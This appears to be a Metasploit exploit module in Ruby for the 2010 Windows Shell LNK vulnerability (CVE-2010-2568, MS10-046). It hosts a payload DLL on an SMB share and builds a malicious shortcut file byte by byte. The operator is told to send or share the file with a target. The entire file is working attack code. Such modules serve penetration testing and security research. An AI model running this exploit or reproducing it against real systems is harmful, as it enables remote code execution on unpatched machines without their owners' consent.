##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::SMB::Server::Share

  def initialize(info = {})
    super(update_info(info,
      'Name'			=> 'Microsoft Windows Shell LNK Code Execution',
      'Description'	=> %q{
          This module exploits a vulnerability in the handling of Windows
        Shortcut files (.LNK) that contain an icon resource pointing to a
        malicious DLL. This creates an SMB resource to provide the payload
        inside a DLL, and generates a LNK file which must be sent to the
        target.
      },
      'Author'		=>
        [
          'hdm',   # Module itself
          'jduck', # WebDAV implementation, UNCHOST var
          'B_H'    # Clean LNK template
        ],
      'License'		=> MSF_LICENSE,
      'References'	=>
        [
          ['CVE', '2010-2568'],
          ['OSVDB', '66387'],
          ['MSB', 'MS10-046'],
          ['URL', 'http://www.microsoft.com/technet/security/advisory/2286198.mspx'],
          ['URL', 'https://github.com/rapid7/metasploit-framework/pull/4911'] # How to guide here
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'		=>
        {
          'Space'	=> 2048,
        },
      'Platform'		=> 'win',
      'Targets'		=>
        [
          [ 'Automatic',	{ } ]
        ],
      'DisclosureDate' => 'Jul 16 2010',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [true, 'The LNK file', 'msf.lnk'])
      ])

    register_advanced_options(
      [
        OptBool.new('DisablePayloadHandler', [false, 'Disable the handler code for the selected payload', false])
      ])

    deregister_options('FILE_CONTENTS', 'FILE_NAME')
  end

  def setup
    super

    self.file_contents = generate_payload_dll
    self.file_name = "#{Rex::Text.rand_text_alpha(4 + rand(3))}.dll"
    print_status("File available on #{unc}...")
  end

  def primer
    lnk = generate_link(unc)
    file_create(lnk)
    print_status('The LNK file must be sent or shared with the target...')
  end

  def generate_link(unc)
    uni_unc = unc.unpack('C*').pack('v*')
    path = ''
    path << [
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00
    ].pack('C*')
    path << uni_unc

    # LinkHeader
    ret = [
      0x4c, 0x00, 0x00, 0x00, 0x01, 0x14, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x46, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
    ].pack('C*')

    idlist_data = ''
    idlist_data << [0x12 + 2].pack('v')
    idlist_data << [
      0x1f, 0x00, 0xe0, 0x4f, 0xd0, 0x20, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xd8, 0x08, 0x00, 0x2b, 0x30,
      0x30, 0x9d
    ].pack('C*')
    idlist_data << [0x12 + 2].pack('v')
    idlist_data << [
      0x2e, 0x1e, 0x20, 0x20, 0xec, 0x21, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xdd, 0x08, 0x00, 0x2b, 0x30,
      0x30, 0x9d
    ].pack('C*')
    idlist_data << [path.length + 2].pack('v')
    idlist_data << path
    idlist_data << [0x00].pack('v') # TERMINAL WOO

    # LinkTargetIDList
    ret << [idlist_data.length].pack('v') # IDListSize
    ret << idlist_data

    # ExtraData blocks (none)
    ret << [rand(4)].pack('V')

    # Patch in the LinkFlags
    ret[0x14, 4] = ['10000001000000000000000000000000'.to_i(2)].pack('N')
    ret
  end
end
